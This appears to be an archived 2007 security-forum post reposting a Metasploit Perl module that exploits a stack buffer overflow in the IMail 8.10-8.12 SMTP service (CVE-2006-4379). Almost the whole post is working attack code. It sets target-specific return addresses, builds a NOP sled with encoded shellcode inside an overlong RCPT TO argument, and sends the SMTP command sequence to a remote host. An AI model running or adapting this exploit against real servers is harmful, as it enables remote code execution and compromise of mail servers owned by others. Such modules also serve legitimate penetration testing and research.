邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-2-5 21:42

Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow Exploit (meta)

[code]
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::imail_smtp_rcpt_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };

my $info = {
  'Name'   => 'IMail 2006 and 8.x SMTP Stack Overflow Exploit',
  'Version'  => '$Revision: 1.0 $',
  &#39;Authors&#39; => [ &#39;Jacopo Cervini <acaro [at] jervus.it>&#39;, ],
  &#39;Arch&#39;   => [ &#39;x86&#39; ],
  &#39;OS&#39;    => [ &#39;win32&#39;, &#39;winnt&#39;, &#39;win2000&#39;, &#39;winxp&#39;, &#39;win2003&#39;],
  &#39;Priv&#39;   => 1,

  &#39;UserOpts&#39;  =>
    {
    &#39;RHOST&#39; => [1, &#39;ADDR&#39;, &#39;The target address&#39;],
    &#39;RPORT&#39; => [1, &#39;PORT&#39;, &#39;The target port&#39;, 25],
    &#39;Encoder&#39;  => [1, &#39;EncodedPayload&#39;, &#39;Use Pex!!&#39;],

   
    },

  &#39;AutoOpts&#39;  => { &#39;EXITFUNC&#39;  => &#39;seh&#39; },
  &#39;Payload&#39; =>
    {
    &#39;Space&#39;    => 400,
    &#39;BadChars&#39;  => "\x00\x0d\x0a\x20\x3e\x22\x40",
    &#39;Keys&#39;    => [&#39;+ws2ord&#39;],
   

    },

  &#39;Description&#39;  => Pex::Text::Freeform(qq{
This module exploits a stack based buffer overflow in IMail 2006 and 8.x SMTP service.
If we send a long strings for RCPT TO command contained within the characters &#39;@&#39; and &#39;:&#39;
we can overwrite the eip register and exploit the vulnerable smpt service
}),

  &#39;Refs&#39;  =>
    [
    [&#39;BID&#39;, &#39;19885&#39;],
    [&#39;CVE&#39;, &#39;2006-4379&#39;],
    [&#39;URL&#39;,  &#39;[url]http://www.zerodayinitiative.com/advisories/ZDI-06-028.html[/url]&#39;],
    ],

  &#39;Targets&#39; =>
    [

  [&#39;Universal IMail 8.10&#39;,0x100188c3 ], # pop eax, ret in SmtpDLL.dll for IMail 8.10
  [&#39;Universal IMail 8.12&#39;,0x100191c4 ], # pop eax, ret in SmtpDLL.dll for IMail 8.12


    ],

  &#39;DefaultTarget&#39; => 0,

  &#39;Keys&#39; => [&#39;smtp&#39;],

  &#39;DisclosureDate&#39; => &#39;September 7 2006&#39;,
  };

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({&#39;Info&#39; => $info, &#39;Advanced&#39; => $advanced}, @_);

  return($self);
}

sub Exploit {
  my $self = shift;
  my $target_host = $self->GetVar(&#39;RHOST&#39;);
  my $target_port = $self->GetVar(&#39;RPORT&#39;);
  my $target_idx  = $self->GetVar(&#39;TARGET&#39;);
  my $shellcode  = $self->GetVar(&#39;EncodedPayload&#39;)->Payload;

  my $target = $self->Targets->[$target_idx];



  my $ehlo = "EHLO " . "\r\n";

  my $mail_from = "MAIL FROM:" . "\x20" . "\x3c"."acaro". "\x40"."jervus.it" . "\x3e" . "\r\n";


  my $pattern = "\x20\x3c\x40";
  $pattern .= pack(&#39;V&#39;, $target->[1]);
  $pattern .="\x3a" . $self->MakeNops((0x1e8-length ($shellcode)));
  $pattern .= $shellcode;
  $pattern .= "\x4a\x61\x63\x3e";

  my $request = "RCPT TO: " . $pattern ."\n";

  $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using pop eax, ret at 0x%.8x...", $target->[1]));

  my $s = Msf::Socket::Tcp->new
    (
    &#39;PeerAddr&#39;  => $target_host,
    &#39;PeerPort&#39;  => $target_port,
    &#39;LocalPort&#39; => $self->GetVar(&#39;CPORT&#39;),
    &#39;SSL&#39;     => $self->GetVar(&#39;SSL&#39;),
    );

  if ($s->IsError) {
    $self->PrintLine(&#39;[*] Error creating socket: &#39; . $s->GetError);
    return;
  }
my $r = $s->Recv(-1, 5);

  $s->Send($ehlo);
  $self->PrintLine("[*] I&#39;m sending ehlo command");
  $self->PrintLine("[*] $r");
  sleep(2);
   
  $s->Send($mail_from);
  $self->PrintLine("[*] I&#39;m sending mail from command");
  $r = $s->Recv(-1, 10);
  $self->PrintLine("[*] $r");
  sleep(2);

  $s->Send($request);
  $self->PrintLine("[*] I&#39;m sending rcpt to command");
  sleep(2);

  return;
}


[/code]

页: [1]
© 1999-2008 EvilOctal Security Team